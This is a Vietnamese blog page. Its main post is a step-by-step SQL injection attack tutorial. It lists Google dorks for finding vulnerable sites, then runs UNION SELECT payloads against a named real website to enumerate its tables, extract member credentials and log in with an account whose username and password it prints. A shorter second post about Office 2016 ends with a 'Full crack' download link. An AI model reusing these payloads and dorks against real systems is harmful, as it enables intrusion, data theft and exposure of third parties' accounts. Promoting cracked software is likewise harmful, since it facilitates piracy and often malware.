Thứ Tư, 7 tháng 12, 2016

TẤN CÔNG SQL INJECTION - PHẦN 1

TẤN CÔNG SQL INJECTION - PHẦN 1

SỬ DỤNG LỆNH SELECT UNION

SQL injection là kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng Web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa bỏ,hiệu chỉnh,…trên cơ sở dữ liệu của ứng dụng.Lỗi này thường xảy ra trên các ứng dụng Web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server,MySQL,Oracle,DB2, Sysbase.
Có 4 dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT và sử dụng các stored-procedures. Trong bài viết này giới thiệu về kịch bản tấn công sử dụng lệnh "select union" bằng công cụ Hack Bar trên trình duyệt Firefox.

Ø  Bước 1.1: Tìm trang web có lỗi SQL Injection Select Union.

-     Tại bước này ta thường dùng cách tìm kiếm rà soát mục tiêu qua Google bằng các từ khóa tìm kiếm bởi các Dork lỗi của Injection như:

Google Dork chuỗi Cột 1 Google Dork chuỗi Cột 2 Google Dork chuỗi Cột 3
inurl: item_id = inurl:? id = review.php inurl:? id = hosting_info.php
inurl: NewSID = inurl: iniziativa.php trong =? inurl:? id = gallery.php
inurl:? id = trainers.php inurl:? id = curriculum.php inurl: rub.php IDR =
inurl:? id tin tức-full.php = inurl:? id = labels.php inurl:? id = view_faq.php
inurl: news_display.php getId = inurl:? id = story.php inurl:? id = artikelinfo.php
inurl: index2.php option = inurl: ID look.php = inurl: ID detail.php =
inurl:? id = readnews.php inurl:? id = newsone.php inurl: index.php =
inurl: top10.php cat = inurl:? id = aboutbook.php inurl:? id = profile_view.php
inurl:? id = newsone.php inurl:? id = material.php inurl:? id = category.php
inurl:? id = event.php inurl:? id = opinions.php inurl:? id = publications.php
inurl:? id sản phẩm item.php = inurl:? id = announce.php inurl:? id = fellows.php
inurl:? id = sql.php inurl: rub.php IDR = inurl:? id = downloads_info.php
inurl: index.php CatID = inurl: galeri_info.php l = inurl:? id = prod_info.php
inurl: news.php CatID = inurl: tekst.php IDT = inurl: shop.php làm = phần & id =
inurl:? id = index.php inurl:? id = newscat.php inurl:? id = productinfo.php




Ø  Bước 1.2: Lựa chọn các kết quả tìm kiếm và check lỗi Injection select union có hay không?

-          Ví dụ ta chọn link: http://vnbarcode.com/?php=product_detail&id=316
-          Ta check bằng cách thêm dấu nháy ‘ vào cuối link của trang web: http://vnbarcode.com/?php=product_detail&id=316’
·         Nếu kết quả sau Execute vẫn hiện nội dung bình thường thì web đó không có lỗi injection.
·         Nếu kết quả sau Execute bị lỗi hiển thị nội dung thì web đó có lỗi injection.
ð  Trong trường hợp này trang web đã chọn có lỗi injection.


Ø  Bước 2: Sử dụng câu lệnh order by để kiểm tra số cột dữ liệu của trang web

-          Tại bước này ta nhập các giá trị cột ngẫu nhiên dự đoán và kiểm tra nội dung dữ liệu hiển thị.
·         Nếu dữ liệu hiển thị bình thường thì số cột lựa chọn đó nhỏ hơn hoặc bằng số cột thực tế của cơ sở dữ liệu.
·         Nếu dữ liệu lỗi hoặc không hiển thị thì số cột ta lựa chọn lớn hơn số cột thực tế của cơ sở dữ liệu.



Order by 20 dữ liệu vẫn bình thường.



Order by 21 thì dữ liệu lỗi.
ð  Dữ liệu của trang web này có 20 cột.

Ø  Bước 3: Kiểm tra cột bị lỗi qua câu lệnh “select union”

http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20—
Sau khi thực hiện Execute thì hiện ra kết quả báo lỗi ở cột 5 và cột 8.



Vậy ta sẽ khai thác dữ liệu từ 2 cột lỗi này. Ta có thể chọn bất kì cột nào trong số cột lỗi, ở đây ta chọn cột 5.

Ø  Bước 4: Thử khai thác một số thông tin của Database từ vị trí cột lỗi

-          Ví dụ ta thử xem một số thông tin về version, tên database và tên quản trị database bằng cách thay thế các câu lệnh sau lần lượt vào vị trí cột bị lỗi (cột 5): version(), database(), user().
ð  Kết quả được: Version: 5.0.51a-community, tên database: vnbarcodec_ha, tên tài khoản đăng nhập quản trị: vnbarcodec_ha@localhost.



Ø  Bước 5: Lấy thông  tin từ database

Ø  Bước 5.1: Lấy thông tin tên các bảng có trong database:

-          Chúng ta cần thực hiện truy vấn để trả về thông tin bảng từ bảng trong CSDL
·         Sử dụng lệnh - unhex(hex(group_concat(table_name))) để lấy giá trị (chèn vào cột lỗi)
·         FROM information_schema.tables WHERE table_schema=database()-- đây là nơi lấy giá trị là database.
Link: http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,unhex(hex(group_concat(table_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM information_schema.tables WHERE table_schema=database()—
Ø  Kết quả trả về là tên các bảng của database: tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_product,tbl_product_category,tbl_product_download,tbl_product_new,tbl_product_special,tbl_product_top,tbl_support,tbl_support_category,tbl_user,tbl_visitor.



Ø  Bước 5.2: Khai thác dữ liệu từ bảng tbl_member.

Tương tự việc truy vấn dữ liệu tên bảng trong database, giờ ta truy vấn dữ liệu để lấy tên các cột có trong bảng tbl_member. Lúc này cần thay một số vị trí lệnh truy vấn như table_name thành column_name, table_schema thành table_name, schema.tables thành schema.columns và cần đổi tên tbl_member sang mã hex char để truy xuất data nhanh và chuẩn hơn.
Link: http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,unhex(hex(group_concat(column_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM information_schema.columns WHERE table_name=CHAR(116, 98, 108, 95, 109, 101, 109, 98, 101, 114)—

-          Kết quả ta được tên các bảng: member_id, member_name, member_sex, member_address, member_tel, member_fax, member_email, member_logo, member_website, member_yahoo, member_skype, uid, pwd, member_sort, member_status, member_date_added, ember_last_modified, member_detail.


Ø  Bước 6: Lấy thông tin đăng nhập và kết thúc tấn công.

-          Ta thử lấy một thông tin tài khoản và tiến hành đăng nhập
-          Ví dụ: tài khoản có username là phanluongha, password là phanluongha và id là 16.


Kết quả: Đăng nhập thành công!



Kết thúc tấn công!


Video demo thực hiện tấn công:


Thứ Ba, 6 tháng 12, 2016

Office 2016 - Những cải tiến mới và sự thân thiện

Office là bộ phần mềm văn phòng tuyệt vời của Microsoft. Chúng ta đã quá quen với những sản phẩm như Word, Excel, PowerPoint, Access, ... đó là những sản phẩm thuộc bộ Microsoft Office. Vậy Office 2016 có gì mới và khác biệt với những bản Office trước đó?


1. Cộng tác dễ dàng hơn.

Office 2016 giúp bạn dễ dàng hơn khi chia sẻ tài liệu và làm việc đồng thời cùng với người khác.

Làm việc cùng nhau trên tài liệu
Xem nội dung chỉnh sửa của người khác với tính năng đồng tác giả trong Word, PowerPoint và OneNote. Lịch sử phiên bản đã cải thiện cho phép bạn xem lại các ảnh chụp nhanh về một tài liệu trong quá trình chỉnh sửa.

Chia sẻ được đơn giản hóa
Chia sẻ ngay từ tài liệu của bạn chỉ với một lần bấm nút. Hoặc sử dụng các tệp đính kèm hiện đại mới trong Outlook—đính kèm tệp từ OneDrive và tự động cấu hình quyền mà không rời khỏi Outlook.

Office trên tất cả thiết bị của bạn
Xem lại, chỉnh sửa, phân tích và trình bày các tài liệu Office 2016 trên mọi thiết bị của bạn—từ PC hay máy Mac cho tới các điện thoại và máy tính bảng chạy Windows, Android™ và của Apple®.




2. Những cải tiến đáng ngưỡng mộ

Ở Office 2013 Microsoft đã đem tới những đột phá mới về giao diện, tính năng và tiện ích. Tiếp nối và phát huy những điều ở người đàn anh Office 2013 thì ở Office 2016 có thêm những chức năng mới hướng tới sự đồng bộ phát triển cùng nền tảng Windows 10.

Sự đồng bộ đó đến từ giao diện, khả năng tiện ích online khi bạn làm việc trên Word, Excel hay PowerPoint bạn có thể sử dụng các hình ảnh trực quan, các số liệu thống kê trực tuyến, các hiệu ứng chỉnh sửa không kém gì các phần mềm chỉnh sửa hiệu ứng chuyên nghiệp khác. Những đổi mới nghiêm túc hơn về tiện ích và giao diện này sẽ làm bạn bất ngờ với những khả năng mới của bộ sản phẩm văn phòng này.



3. Đồng bộ và hơn thế nữa

Bạn có thể soạn thảo văn bản trên máy tính, chỉnh sửa trên điện thoại, lưu trữ, chia sẻ file nhanh chóng thuận tiện dễ dàng. Điều đó đơn giản vì Office 2016 được đồng bộ với OneDrive và tài khoản Microsoft.
Link tải: Office 2016 - Full crack: